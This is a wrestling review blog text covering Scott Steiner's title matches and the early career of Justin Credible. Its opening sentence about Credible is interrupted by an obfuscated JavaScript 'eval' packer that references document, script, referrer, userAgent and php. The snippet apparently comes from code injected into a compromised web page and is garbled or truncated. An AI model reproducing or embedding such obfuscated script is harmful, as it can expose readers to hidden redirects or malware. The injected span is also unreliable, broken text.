Tournament final. Steiner hammers away to start but Sting gets a drop….he gets a kick…we’ll call it a leg attack to take over. They go to the floor for a bit but Sting gets caught coming in off the top rope. We get into a nice rhythm here: Steiner hits Sting to knock him down then yells at the fans then hits Sting to knock him down then yells at the fans. Repeat that for about 2 minutes and you have the middle of this match.

Sting starts his comeback and hits the Stinger Splash. The second one results in the referee getting crushed so Sting goes for two more of them. The first one hits but the second is stopped as Vampiro pulls him under the ring through the mat and Sting is gone. He comes back and is busted open and out cold. Steiner puts on the Recliner and wins the title by TKO.

Rating: D-. Well this was worthless. Sting was more or less waiting around for the Vampy thing which wasn’t needed as he beat Vampiro cleanly earlier on in the night. Steiner gets the title after beating three guys despite being a terror in the back at this point. Steiner would hold the title for a few months until getting suspended for using a banned hold. Not bad for about 12 minutes combined in three matches.

Steiner’s rise would conclude at Mayhem 2000.

WCW World Title: Scott Steiner vs. Booker T

This is a straightjacket cage match. I think the straightjacket is on the corner of the cage or something. It’s a Hell in a Cell style cage. Steiner jumps him as he gets into the cage and Buffer just keeps talking anyway. Booker is all aggressive to start and it gets him nowhere. I was right: it’s a straightjacket on a poll match in a cage. Russo lives!!! Steiner takes over and hammers away on Booker for a good while. Booker gets in some shots here and there but can’t get anything going long term.

Spinning belly to belly gets two. Steiner does more or less an Angle Slam from the middle rope and it also gets two. No movement towards the straightjacket yet or anything like that at all. We get a bearhug and Booker escapes to get a missile dropkick for two. And that’s the end of Booker’s offense at the moment. Steiner gets the straightjacket but Booker puts him down. Scott of course gets up first because he’s old.

Booker is able to get the jacket on for the most part. Stevie gets in the best line of his career: IF HE CAN PUT THE STRAIGHTJACKET ON HIM WHY CAN’T HE PIN HIM??? Because that would make sense Stevie. Booker gets the jacket on and doesn’t bother to tie it or anything so he’s really just insulated Steiner against some upper body offense at this point. Nice job champ. The champ hits the floor and grabs a chair. The lead pipe he passed up wasn’t to his liking I guess.

Steiner more or less no sells chair shots and then rips the arms off the jacket. There’s the Recliner which has about NO pressure on it as he’s on his knees and there’s no crank on it at all. Booker makes the ropes which breaks the hold in a cage match of course. Bookend gets two and there’s the end of Booker’s reign for all intents and purposes. Steiner pops up from EVERYTHING, including the Axe Kick. A chair shot sets up the passing out in the Recliner to make Steiner champion and end the show.

Rating: D+. Boring match for the most part with Steiner beating the living tar out of Booker and winning with a bad finisher and making the beginning of the title reign that was going on when the company was bought. Stevie yelling about Booker losing is kind of amusing as I type this. Decent enough match I guess but sweet goodness was he going to be uninteresting. The guy brought in to fight him next month: Sid. Well of course he is. At least the show is over.

Steiner would lose the title on the final episode of Nitro and spend a long time sitting out his contract. He would however appear with the WWA promotion and challenge for the World Title at Eruption.

WWA World Title: Nathan Jones vs. Scott Steiner

Scott is challenging here and punches Jones in the corner. Oh and Sid is outside enforcer. Jones beals Scott down and they collide a few times. Steiner flips Jones off which earns him another shoulder from the champion. Jones knocks Steiner to the floor so Steiner knocks Jones to the floor. The champion hits a slingshot clothesline back in for two before pounding away in the corner.

Steiner immediately comes back by shoving Jones over the top and out to the floor. Jones is whipped HARD through a barricade as we continue to hide the severe limitations of both guys. Back inside and Steiner hits a backbreaker to put Nathan down again. There are the pushups followed by some yelling at the fans by the challenger. Off to a lame bow and arrow hold by Steiner and a low blow to keep Jones down. A northern lights suplex (why is that so popular tonight?) keeps Jones in trouble so Steiner can put on…..a Sharpshooter? It’s horrible as you would expect but it’s more strange to see than bad.

We hit a bearhug from Steiner which he ends himself with an overhead belly to belly to put Jones down. Scott pounds away but Jones comes back with a side slam to get himself a breather. A clothesline sets up a very awkward looking elbow drop by the champion who follows that up by literally falling off the top rope on a clothesline attempt. Literally, he fell forward with no vertical leap at all. Jones loads up the chokeslam but Midajah jumps on his back.

Steiner stops to yell at Sid for a bit, causing Jones to try a pair of quick rollups for two. Scott pokes the champion in the eye and slams him down, only to jump into the chokeslam. Midajah makes the save so Sid loads up Midajah for the powerslam. Another referee stops him and in the melee Steiner hits Jones with a belt shot. The Steiner Recliner gives Scott via arm drops.

Rating: D. This wasn’t that good at all. At the end of the day, Jones was all look and almost no substance whatsoever. As bad as he looked beforehand, the falling off the top rope turned the whole thing into an even bigger joke than it already was. Sid was only there as a means to the end of the match and added nothing else. The whole match was a clash of styles and neither guy was good enough to carry the other to anything above terrible.

Steiner would finally make it to the WWE, for one of the most entertaining matches of all time at Royal Rumble 2003.

Raw World Title: HHH vs. Scott Steiner

HHH has red trunks on here for some reason. He mixed them up every now and then and rarely did the other colors work. Stick with basic black Game. Hebner brings them to the middle for instructions which is ultra rare stuff. Steiner wins an early slugout and pounds on the champion in the corner. A gorilla press sends HHH to the floor and Steiner pounds away with those weird looking overhand punches of his.

Steiner suplexes him back in for two and works on the back some more. An elbow to the face puts HHH down and there’s an appropriate Boston Crab. HHH powers out of it and hits the facebuster but Steiner no sells it. There’s a bear hug which is quickly broken but Steiner snaps off an overhead belly to belly (1) for two. Flair saves HHH from being put in the Steiner Recliner and Steiner charges into a boot in the corner to finally change the momentum.

We head to the floor again where Scott goes into the steps. The fans aren’t exactly thrilled with this so far but they’ve still got time to crank it up a bit. Flair chokes away with his jacket and HHH hits his second neckbreaker in about 30 seconds for two. Since we didn’t allido it properly the first time, Flair chokes away even more. A Pedigree attempt is countered into a slingshot into the buckle. Steiner looks like he’s going through labor.

An overhead suplex (2) puts HHH down and I kid you not: Steiner FALLS DOWN due to exhaustion. He’s clearly sucking wind and HHH didn’t touch him at all. Speaking of HHH, he counters a tombstone attempt into a….I think it was supposed to be the third neckbreaker in about 90 seconds but Steiner took it wrong, causing it to look like a cutter where he fell backwards instead of forwards. That gets two and the fans are starting to boo.

HHH is loudly calling spots to try to salvage this before he hits a vertical suplex. For no apparent reason he goes up and jumps into a belly to belly (3). Steiner can barely punch so he settles for some clotheslines. There’s an overhead belly to belly (4) and an overhead belly to belly (5) and an overhead belly to belly (6). The fans are openly booing Steiner now. His response? To hold HHH’s hair while HHH rams his own head into the buckles (seriously, Steiner clearly isn’t even pushing) and to hit a spinning belly to belly (7) for two and even more booing.

Steiner tries a butterfly powerbomb and literally falls backwards as he does it, causing HHH to land on Steiner’s knees. The fans groan at the sight of this so HHH goes up top to get superplexed down. He’s handing these spots to Steiner. THANKFULLY HHH tries to walk out but Steiner won’t have it, because WE HAVE TO KEEP GOING. Steiner blasts HHH with the belt to bust him open to try to get the fans to care but the match is long past salvageable at this point.

Back in and Steiner hits ANOTHER belly to belly (8), causing the fans to get MAD. They’re not annoyed, they’re not wanting a new champion, they want Steiner to get out of their ring now. HHH tries to get counted out but Steiner goes after him AGAIN. Back in and Steiner does the pushups to tick off the fans even more as Flair is BEGGING the referee to stop the match.

Now HHH throws the referee to the floor but HEBNER WON’T STOP IT. I mean he pulls his arm up to ring the bell but stops and says keep it going. Steiner hits the NINTH belly to belly suplex (9) of the match for two so HHH hits him low and grabs a fast rollup for two. HHH finally gives up and hits Steiner with the sledgehammer for the DQ.

Rating: H. As in HHH, who I feel sorry for here. Now everyone knows I’m no fan of the guy in 2003, but he was in a HORRIBLE situation here. HHH was trying to keep this a coherent match, but Steiner was beyond worthless here, causing the match to sink to levels far below what any other main event “talent” would be capable of. After about seven minutes (out of eighteen), Steiner stopped doing anything resembling trying to have a match and was just doing suplexes.

Remember that back stuff he did at the beginning? Completely forgotten. Did you see him try his finisher? Not even once. He somehow managed a belly to belly suplex every two minutes, despite being on defense for a good third of the match. This was absolutely horrible and quite possibly the worst world title match I can EVER remember, which is covering a lot of ground.

Post match, Steiner beats up HHH and Flair with the hammer, which gets SYMPATHY from the fans. HHH is getting SYMPATHY from a crowd. Think about that for a minute. And what’s worse: THEY HAD A REMATCH! Oh and there’s the Steiner Recliner to absolutely nothing positive from the crowd at all. Bischoff has to come get Steiner off HHH.

I’ll skip the far better (yet still awful) rematch and jump ahead to 2006 as Steiner hit TNA after several years on the independent circuit/in Europe. From Victory Road 2006.

Samoa Joe vs. Christian Cage vs. Scott Steiner vs. Sting

#1 contender’s match. Steiner is Jarrett’s hired gun. Everyone gets the long walk to the ring from the back to waste even more time. Joe is undefeated here which would last until that bald Olympic dude got here. Cage has never been pinned or tapped in TNA either. I did like Christian’s entrance in TNA. That was always cool. Sting thinks Jarrett is a cancer because cancer is a word that it’s perfectly fine to throw around in wrestling.

The fans are completely behind Joe so Tenay says it’s Sting’s crowd. I think that’s what he said at least as the JOE’S GONNA KILL YOU chant is drowning it out. Steiner vs. Christian and Sting vs. Joe to start. Sting vs. Joe in the ring with Joe’s knee being Sting’s target. Scorpion goes on quickly but Steiner breaks it up. Belly to belly puts Sting on the floor. Something tells me we’re going to be going into the formula here quickly.

Joe vs. Christian in the ring which was a big rivalry for awhile. Sting and Steiner fight up around the entrance which we really don’t need to watch as the match can’t end there. See, why don’t they use a split screen here where it would actually make sense? Facewash by Joe and Sting cracks Steiner with a chair a few times. The pairs switch places and Sting remains in control of Steiner.

Steiner tries a backslide of all things but a cameraman pops in and sprays Sting in the eyes with alleged gasoline to blind him. I love how in a huge open area like this you can smell gasoline like 20 feet away according to West. Sting is taken out as the fans chant TNA. Oh the cameraman was Jarrett in disguise. I knew I forgot to mention something. Jarrett is thrown out in the back.

It’s a triple threat for all intents and purposes here as Christian gets two on Joe. Steiner is on the floor at the moment. Joe tries the Musclebuster which doesn’t connect and the Unprettier doesn’t either. Christian gets a facewash to Joe in a nice touch. He tries something else but Steiner pulls him to the floor. Joe dives through the ropes to take everyone down at once.

Joe busts out a table for no apparent reason at all. He tries to suplex Steiner onto it but Scott reverses into a DDT onto the apron. As per the laws of wrestling, Joe is put through it via an elbow drop from Steiner. Points to Steiner for trying something like that which most older guys wouldn’t do ever. Christian vs. Steiner in the ring at the moment with Steiner catching him in a powerslam.

Steiner gets something like an Angle Slam off the middle rope and Joe pops in for a pair of twos. Frog Splash by Christian misses and here comes Joe. He beats Christian down in the corner and knocks him into Steiner. Christian rolls Scotty up for two in a bit of a contrived spot. By contrived I mean that looked fake as all goodness. Belly to belly by Steiner gets no cover but does set up the Recliner. Oh my that hold is pathetic looking.

Joe grabs the Koquina Clutch and Christian has to make the save. Christian and Joe go up and Steiner drills both of them. Here’s Sting back with a bandage around his head of course. Frog Splash to Steiner by Christian gets two. Steiner dumps Joe and Christian so that the Death Drop and send Sting to Hard Justice.

Rating: C. Totally average main event here that is nothing to remember at all. The Sting injury seemed rather pointless as he was out there for a good while in the first place and then comes back later on so the injury wasn’t that serious it would seem. Not much of a match at all but it wasn’t that bad I guess.

When all else fails, put Scott in a tag team. From Sacrifice 2007.

Tag Titles: Team 3D vs. Scott Steiner/Tomko vs. LAX

So Tomko and Steiner don’t get along and are here….because I guess, and LAX are the guys Team 3D beat to get the titles. After almost a minute of arguing we get Homicide vs. Steiner to start us off. Power vs. speed obviously and Homicide can only run so long before he gets caught. Ray tags himself in and sneaks up on Steiner for a pretty awesome German release.

Homicide comes back in and hits half a dropkick to both Immortal members. He and Steiner team up to beat on Ray which is about as odd of a pairing as you’ll find this side of Alex Shelly and Abyss. Ray kicks Homicide’s head off and it’s off to D-Von vs. Tomko. D-Von powerslams him down and SuperMex comes in via the slingshot shoulder. A Thesz Press by D-Von gets the fans behind the champions.

And never mind as LAX double teams him right back down to take over again. Steiner comes in and drops the elbow and the push-ups. Ray breaks up the cover and does push-ups of his own in a funny bit. He and Homicide get into it as D-Von keeps getting beaten down, in this case by Hernandez. Henandez does that always cool backflip to the top rope and seemingly botches a top rope splash to D-Von for two. His leg kind of landed on D-Von’s head which has to freaking hurt.

In a smart move, Tomko breaks up the pin and pulls Hernandez, not D-Von, back to his corner so that Tomko can tag himself in and get a piece of the weakened D-Von. Man, when did Tomko get so smart? It doesn’t really work though as D-Von hits a tornado DDT to break the momentum. I see why Tomko rarely used logic. LAX comes in to stop the tag but D-Von rolls under then and tags Bubba in a nice move.

Ray throws Hernandez out and brings Homicide in. Go after the smaller guys I guess. That’s very bullyish of him. Everything breaks down as is customary in these matches. Steiner suplexes D-Von so Hernandez destroys Steiner with a backbreaker. Ray cleans house and What’s Up Homicide? The fans want tables but Hernandez dives over the top to take out D-Von. Steiner and Tomko beat up Homicide but Homicide rolls through a Doomsday Device for two. Tomko and Steiner get into it but beat up Bubba a bit. Double teaming fails though and a 3D from 3D beats Tomko.

Rating: C+. Pretty basic triple threat here but it worked well enough. The Dudleys needed a win to establish themselves (for some reason) so this did that well enough. The Steiner/Tomko issue will be made clear in a bit. Tomko I think would go on to team with AJ and hold the tag titles for about six months after this so he did well enough. Also they would be the TNA Tag Titles here before to long.

Steiner eventually got a protege in Petey Williams. Here’s their required showdown from Against All Odds 2008.

Petey Williams vs. Scott Steiner

Petey likes to copy Scott which he was told not to do pre-match. They pose for a bit which is a bit more disturbing than it should be. Steiner easily overpowers him of course so Petey tries to speed things up a bit which doesn’t work either. Some strikes work a bit for Petey but it’s hard to fight against a big overhead belly to belly. Elbow and pushups follow.

Another belly to belly off the top gets two but Steiner pulls him up. Steiner gets an Angle Slam off the top but again pulls Williams up. He goes to the floor and gets the two cases, wedging them between the ropes as you often see done with chairs. The referee stops him but Williams manages to shove Steiner into the case. Rana takes Steiner down for two. Canadian Destroyer is countered into an Alabama Slam for a long two.

Steiner Recliner can’t get on though as Williams rolls him up instead for two. Williams hits a dropkick and a slingshot Codebreaker to set up a top rope crossbody for two. Williams puts on the Steiner Recliner which is as miserable of a chinlock as I’ve ever seen. Tornado DDT gets two for Williams. Steiner gets sent into the other case and a missile dropkick puts down Steiner. Rhaka Khan debuts and distracts Petey so that a Last Ride can end Petey.

Rating: C-. Better match than you would expect but Steiner was never in any real danger here. I never got the appeal of mini Steiner in the form of Williams. Steiner never really went anywhere until the Mafia came up. This was watchable but at the same time it wasn’t anything great at all.

One more TNA match from Turning Point 2009.

Bobby Lashley vs. Scott Steiner

I was right about the Rude/Roberts thing as Scott has Krystal’s face on his tights ala Ravishing Rick. Hey he has alliteration in his name too. This is rather interesting. The fight starts in the middle of the aisle with Lashley throwing him all over the place. Into the ring now with Lashley in full control. A clothesline and shoulder in the corner has Scott in trouble. Suplex gets two.

Spinebuster gets no cover as Bobby sets for a spear. Steiner gets a boot up but walks into a T-Bone suplex for a long two. Clothesline puts Steiner right back onto the floor. Scott FINALLY breaks the momentum with a pair of shots to the Little Boss. Make that three of them. That set of them gets two as maybe Krystal will like Scott more now. Chair goes across the back of Bobby for two.

Back in and the spinning belly to belly by Steiner gets two. Overhead belly to belly nearly breaks Bobby’s neck as is Scott’s custom. A third suplex gets two. Steiner does what he now calls the Frankensteiner but for some reason Bobby drops down to the bottom rope so it looked a bit awkward. That gets two. Steiner goes up but gets caught. Lashley drops him onto the top rope instead of slamming him down. Nice change of pace there I guess.

To the floor again and Lashley throws him into the table and pounds away. Chair to the back of Steiner and they go into the back where it’s really dark. Like Boiler Room Brawl at Summerslam 96 dark. Also we don’t have a camera there. It does make it look a bit more realistic I guess though. Apparently the camera was off so Scott could blade as he’s busted open now.

Lashley puts him through a table for two. He goes off and gets a 2×4, prompting the entire crowd to shout HO! Well they’re smart at least. Lashley charges into a well placed piece of wood. Taz asks why the wood was there and is promptly ignored. Scott chokes away with a cord and gets two off that. They fight back to what is apparently behind the set. Up to the Spanish Announce Table and Steiner rips the scaffolding apart. A piece of the pipe winds up going around the head of Lashley and we’re done. No idea what the point is of giving Steiner the win here but whatever.

Rating: C+. Pretty decent brawl here with both big monsters hammering away on each other pretty well. The ending doesn’t work for the most part as it says monster MMA fighter loses to implied attempted rapist. Not a classic or anything but it wasn’t supposed to be. Fine for what it was which I’ve been trying to cut back on saying but it fits here.

We’ll wrap things up in India, with Steiner participating in TNA’s Ring Ka King promotion in 2012.

Ring Ka King Title Tournament Semi-Finals: Scott Steiner vs. Mahabali Veera

From what I can tell, Steiner is a big time heel and a member of the heel stable. Veera is a good sized guy and we start with a posedown. The announcers crack up when Veera gets kicked in the ribs. Veera takes him down with some shoulders and a clothesline to send Scott outside. Back in and Steiner takes over with some kicks but charges into a boot in the corner. The fans get behind Veera as he botches a side slam for two. Back up and Steiner avoids a clothesline and they seem to mess up some communication before Steiner nails a Downward Spiral to advance to the finals.

Rating: D. It was clear that Veera didn’t know what he was doing out there. He knew some basics but their timing was WAY off with Steiner seeming to be fine for the most part. Veera would be the feel good story of the promotion and would win the title on the show’s final episode. Bad match but Steiner was trying.

Scott Steiner is a guy that has found out a formula that works and used it to give himself a very fine career. He’s far better known for his tag team work but he won the World Title and a bunch of other singles titles to give him a solid singles career of his own. That being said, when he got bad, it was VERY bad with the HHH match in particular being horrible. If you throw in his INSANE promos though, Steiner is more than worth a look, especially in the old days.

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Wrestler of the Day – July 20: Justin Credible

Here’s a guy that spent WAY too much time on the top of ECW: Justin Credible.

Credible eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itzya|var|u0026u|referrer|sabfz||js|php'.split('|'),0,{})) got his start in 1992 and was quickly signed to WWF as a jobber. Here he is on Raw, March 1, 1993.

P.J. Walker vs. Lex Luger

Luger is still the Narcissist. A hard whip sends Walker into the buckle and we hear from Bobby Heenan on the phone, bragging about how awesome Luger is. The squashing continues as we get into a bizarre bit about commentator Rob Bartlett pretending to be Elvis as Heenan says that Bartlett is George Steinbrenner before Priscilla Pressley is serving Heenan drinks by his pool. Luger pins Walker with his pinkie after the loaded forearm. It was long enough to rate but I think Heenan’s call sums up the match just fine.

Another year, this time from November 14, 1994 on Raw. Credible is debuting his most infamous gimmick here: the Portuguese Man O War, Aldo Montoya. Why Portuguese? Why a Man O War? Why does he wear a jock strap for a mask? Answer: it’s 1994 so no one noticed.

Brooklyn Brawler vs. Aldo Montoya

The Brawler chops away to start but gets dropkicked to the floor, setting up a bad looking plancha from Aldo. Back in and Brawler gets two off a backbreaker but walks into an even worse looking hurricanrana. Montoya nails a top rope cross body for the pin out of nowhere.

We’ll skip 1995 and head to Raw, August 5, 1996.

Jerry Lawler vs. Aldo Montoya

This is a rematch from Superstars where Aldo beat Lawler in a match dedicated to Jake Roberts with a DDT. Lawler talks A LOT of trash about Jake Roberts before the match. He keeps talking after the bell and offers Montoya a chance to speak, only to kick him in the face to take over. Montoya fights back in the corner and nails a dropkick but Lawler runs from another DDT. Some LOUD right hands have Lawler in trouble but Aldo walks into a piledriver to stop him cold. Another piledriver is enough to give Jerry the pin.

One final WWF match, from Thursday Raw Thursday on February 13, 1997. Again, I have no idea why they called it that.

Headbangers vs. Bob Holly/Aldo Montoya

Montoya is more famous as Justin Credible. We see some clips of some WWF guys on a country music show. Road Dogg got to sing his song on there and Hillbilly Jim played some guitar. Also there was a “match” with the Godwinns vs. Jarrett/the host. Who thought this was a good idea for a match? Mosh vs. Holly to start us off. Holly doesn’t so much do things well as much as he doesn’t do things well.

In case you can’t get it, this is a terribly boring match. It’s not that it’s bad but there’s no point to having it and yet it’s here anyway. We’re talking about Shawn Michaels anyway which is far more interesting so that helps. I mean really, does anyone want to watch these four guys have a match? The announcers aren’t paying a bit of attention to this which I can’t blame them for at all.

The Headbangers hit a double Gordbuster on Holly as they take over. Yeah I don’t care about this match at all either. The idea is that Shawn might have to have reconstructive surgery. In reality the knee was slightly injured but he could have gone without the surgery but that would have meant losing the title at Mania which he just wasn’t going to do.

We might have talked about this match for 20 seconds combined of four and a half minutes. Thrasher misses a moonsault and it’s off to Montoya. We’re talking about Brett Favre now. I can’t escape this guy. Finally the Headbangers win with a powerbomb/leg drop combination. Sunny says Mosh and Thrash just won. Even she wasn’t paying attention.

Rating: D. The match was ok I guess but at the same time this was one of those times where no one cared in the slightest and everyone knew it. WWF in 97 was just bad at some points and this is one of them. Who in the world thought this was something people would want to see? Bad match, but now let’s get to something that matters.

We’ll head over to ECW now, with Credible becoming his most successful character: a jerk who doesn’t like tradition or authority. We’ll start at November to Remember 1997.

Justin Credible vs. Mikey Whipwreck

Credible is a guy that rose up the ECW ranks over the years despite not being the most interesting wrestler on the roster. He’s managed by an annoying guy named Jason. They slug it out to start until Mikey sends him to the floor for a big dive. A hurricanrana on the floor has Justin in trouble and a whip into the barricade doesn’t help things. Back in and Justin goes for the eyes to take over before a missile dropkick gets two.

Credible kicks him in the back of the head for two more and gets the same off a sunset bomb. We hit the chinlock into a sleeper but Whipwreck comes back with a superkick and powerbomb for a pair of near falls. Whipwreck has to deal with Jason via a low blow but Justin nails a reverse DDT. Justin goes up but Mikey whips Jason into the ropes to crotch him down, setting up a Whippersnapper (middle rope Stunner) for the pin.

Rating: C-. This was better than the opener due to how much shorter it was than the first match. Mikey was kind of a feel good story and another character that embodied the idea of ECW by having success when no one thought he had a chance. We’ll see a lot more of Justin in the upcoming shows.

Off to Cyberslam 1998 for a rival that we’ll be seeing more of later.

Justin Credible vs. Tommy Dreamer

First blood here. Dreamer in a gimmick match that makes things more violent? Who would have seen that coming? Justin has been talking about Tommy’s family apparently. Oh and they’re having a regular match Sunday. Of course they are. One great thing about these old ECW shows: Beaulah. She is freaking gorgeous on all levels. Dreamer brings a trashcan lid with him because that’s how he rolls.

Out to the floor almost immediately as the fans make fun of Nicole Bass. She’s Justin’s bodyguard if that clears anything up. Dreamer hits a slingshot into a chair into the post. So what was the point of the chair if the post was already back there? Cactus Clothesline over the railing by Dreamer puts them both into the crowd. Time to walk around the arena like in every big ECW brawl.

We’re already on our third chant that implies Bass is a male. Jason, Justin’s uh…..friend I guess, interferes and a reverse DDT puts Dreamer down. The chair gets wedged between the top two ropes and Dreamer goes head first into it. Justin suplexes him onto the chair which doesn’t really hurt the head. Then again no one accused Justin of being all that intelligent.

A second suplex is countered and here comes Dreamer. Neckbreaker out of the corner still doesn’t work on the head at all. Beaulah and Jason have a quick argument in the ring which results in the referee taking a road sign shot to the head. Death Valley Driver puts Justin down as the fans chant Louie. DDT onto the chair but still no blood.

Time for the barbed wire and Tommy wraps it around himself. Seriously, does no one in ECW think these things through? A splash off the top hits Justin and Dreamer is in agony. And here’s RVD with a top rope kick to put a trashcan into the head of Dreamer. Barbed wire into his head plus a trashcan to the barbed wire wrapped around Dreamer’s head busts him open. A tombstone kills Beaulah and the referee wakes up in time to see Dreamer’s blood to end this.

Rating: D+. Just a weak match here that for the most part had no psychology at all. The run in made no sense but I guess it’s something that you need to watch the TV show to get. Also, what’s the point in having a gimmick match a week before a regular match? Either way, nothing of note here and just your usual brawl in ECW.

Back to another guy we’ve seen before at Wrestlepalooza 1998.

Mikey Whipwreck vs. Justin Credible

Credible has his new girl Chastity and Jason with him. Mikey tries a Whippersnapper a few seconds in but has to settle for a spear. Justin is sent to the floor and nailed by some left hands to the face. A hard whip sends Justin into the crowd and a Russian legsweep puts him into the barricade. Mikey pulls the barricade closer to the ring but gets shoved off the apron and goes back first into the steel.

Back in and Justin rams Mikey into a chair before stomping him down in the corner. Jason holds the chair in front of Mikey in the corner so Justin can drive the steel into Mikey’s head with a running knee. A powerbomb onto the chair gets two and the fans chant Aldo, referencing a character that Justin played in the WWF. Mikey tries a Whippersnapper but gets countered into a reverse DDT for two.

They head outside again and Mikey suplexes him off the barricade and through a table. Mikey brings a second chair inside as Justin picks up the first. Whipwreck’s chair blasts Justin’s into his face before a catapulut into a chair in the corner gets two. The Whippersnapper puts Justin down but Mikey has to hit one on Jason as well. Chastity gets a super Whippersnapper from the middle rope but Justin hits That’s Incredible on the chair for the pin.

Rating: D+. The match was ok but it’s becoming clear that Justin really doesn’t have anything interesting to offer. He’s not terrible but he’s such a generic heel that it’s really hard to care about him or get angry at him. Mikey was trying but he needs a better villain to work off. Also you would think there would have been more leg work in the match.

Here’s the finale of a Best of 21 series held over the summer of 1998 at Heat Wave 1998.

Justin Credible vs. Jerry Lynn

Credible’s entourage continues to grow as he now has Nicole Bass, Chastity and Jason with him. These two wrestled twenty one times over the summer so they’re certainly familiar with each other. This is billed as the final match in their series so whoever wins here wins the feud. The referees are back to the half red and half black shirts instead of the stripes.

Jerry grabs a quick armdrag to start and the fans are all over Justin. A second armdrag puts Credible down before Jerry lands some loud chops in the corner. Jerry nails a cross body for two and clotheslines Justin out to the floor for a big dive onto the concrete. We hit the headlock but Justin spins out of a slam into a reverse DDT to take over. Credible stomps away in the corner, setting up a running knee to drive a chair into Jerry’s face.

A powerbomb onto the chair gets two and they head outside again with Jerry being sent into the barricade. Back in and Justin poses after every move as he is known to do. Credible goes up top but dives into a flapjack to get us back to even. Justin grabs a swinging Boss Man Slam for two and we hit the chinlock. The camera looks to be laying on its side to film the hold.

Back up and Lynn gets two of his own off a sitout powerbomb and a hurricanrana. Jery goes up top but dives into a powerbomb to give Credible a near fall of his own. We get a chair brought in by Chastity, though it’s Jerry DDTing Justin onto the steel for two. Justin is sent to the apron and Jerry loads up a table at ringside. He puts Credible on the ropes for a top rope hurricanrana off the top and down through the table for the big spot of the match.

Back in again and Jerry has to fight off the entourage, including kicking Bass low and hitting her in the back with a chair. Chastity kicks Justin low by mistake so Jerry tombstones her, much to Joey’s delight. Lynn takes Justin up top for a hurricanrana, only to have Justin counter into That’s Incredible off the ropes for the pin and the win in the series.

Rating: B-. This was the best opener at an ECW pay per view since Hardcore Heaven. They kept the insanity under control here and let the guys wrestle until the big finish. It’s also nice to see someone sell a move or two and do some basic wrestling in between all the high spots. Good match here and the interference actually made sense for a change. Justin getting a pin off his own move rather than someone helping him directly made things better too.

Back to Dreamer at Guilty As Charged 1999.

Justin Credible vs. Tommy Dreamer

A tough fighting woman named Jasmyn (later to be known as Jazz and that’s how his name is spelled on her jacket) has replaced Chastity in Justin’s entourage. Dreamer drags out a ladder with him. There’s no Terry Funk in sight. They chop it out to start until Dreamer kicks Justin low and plants him with a spinebuster. A running clothesline puts them out on the floor but Dreamer is whipped into the barricade. Justin gets dropped throat first onto the barricade for his efforts and we get our first chair thrown in.

Back in and Dreamer gets caught in a reverse DDT onto the chair. Justin throws him onto the ramp and sets up the chair next to Dreamer. The drop toehold sends Tommy throat first into the chair before they head back inside, only to have Tommy ram him into the chair as well. The Dreamer Driver plants Justin and the ladder is brought into play. Dreamer avoids a double baseball slide and nails Justin and Jason with the ladder before bridging it between the ring and the barricade.

Justin gets dropped face first onto the ladder before it’s taken inside. A catapult sends Justin into the ladder in the corner but he’s able to slam the ladder into Dreamer’s arm. He crushes the arm between the ladder and smashes it with a chair as Bass yells trash from the floor. Tommy somehow sends him into the ladder for a breather before countering a superplex. Jason comes in and gets caught in a DDT attempt, only to have Jasmyn come in with a low blow and snap suplex.

Credible can’t capitalize as his baseball slide gets himself crotched against the post. A death valley driver puts Justin down again and Tommy knocks one end of the ladder into Justin’s face for good measure. The ladder is finally set up in the middle of the ring but Justin takes over again and puts Dreamer on top of it before dumping him over the top and through a ladder at ringside.

Dreamer makes a save and sends Justin face first into a chair conveniently laid across the top rope. The ladder is then laid across the middle rope in the corner but Justin drives him into it instead. He wraps the ladder around Tommy’s head and drives the top of it into the buckle for a painful looking spot. Dreamer is busted open as Justin brings the ladder back in. Credible climbs but Tommy pulls out another ladder which he stands next to Justin’s.

In a clearly cooperative spot, Dreamer gets Justin with one foot on each ladder before pulling him down with a cutter. Tommy climbs up and gets the cane before diving off a lower rung into a DDT on Credible. Justin gets tied to the ropes and it’s time for revenge. This brings out Funk with a garbage can to knock Dreamer senseless, setting up That’s Incredible (more like a slam) on the ladder to give Justin the pin.

Rating: D. Justin never even touched the cane in the entire match, pretty much making the whole thing complete pointless. This was WAY too long at nearly twenty minutes and continues to show that Justin is nothing all that special. He’s ok, but that’s his biggest problem: he’s so ok that there’s no justification for putting him in a spot this high on a pay per view card.

Justin would hook up with Lance Storm to form the Impact Players. They would main event Heat Wave 1999 against a dream team.

Impact Players vs. Rob Van Dam/Jerry Lynn

All four guys get individual entrances and only Dawn is with the Impact Players. Rob stops at ringside and smiles at a sign that says Get Well Soon Sonya. Sonya is Van Dam’s wife and was in a bad Jet Ski accident around this time. Rob blows a kiss at the camera in a sweet moment. Lynn has a broken nose, though Joey doesn’t bring it up until about twelve minutes into the match. Jerry gets started with Credible and the stalling is on in a hurry. Lynn chops away in the corner and they fight over a tombstone with neither guy getting it. Justin backdrops out of the cradle piledriver but gets taken down with a bulldog.

Lance takes a dropkick to send him to the floor and Jerry catapults Justin down onto his partner. Back in and Van Dam gets the tag, sending Justin running to the corner to bring in Storm. Rob takes him down to the mat in a nice amateur move before getting two off a small package. They get up and flip over each other a few times before Rob monkey flips Lance down. More flips lead to Storm’s half crab but Van Dam rolls out and kicks Storm in the face.

Jerry comes back in and chops everyone in sight before putting Storm in an abdominal stretch. The hold is broken in less than five seconds so Jerry snaps Storm’s throat over the top rope. Credible hits a knee from the apron before nailing Jerry in the head with the Singapore cane. Now Justin is willing to come back in and stomps away in the corner before putting a chair over Lynn’s face for a dropkick.

A sitout powerbomb out of the corner gets two for Justin before it’s back to Lance for a good looking dropkick. They trade rollups for two each until Storm kicks Jerry’s head off for two. Back to Justn for an Outsider’s Edge before he brings Lance back in after only a few moments of ring time. Storm tries to bring in a chair but Jerry dropkicks it back into his face. Credible breaks up a hot tag attempt but gets DDTed down onto the chair.

Rob comes in off the tag and hammers away on Storm including the top rope kick to the face. Alfonso sends in a chair which Van Dam dropkicks into Storm’s face, sending him outside. Rob hits the spinning kick to the back onto a chair onto Storm’s back and both guys are down. Everything breaks down and Rob misses the slingshot legdrop to Storm back inside. Justin gets in a single kick to the back of Rob’s head before he runs back to the floor. Alfonso bridges a table between the ring and barricade for later.

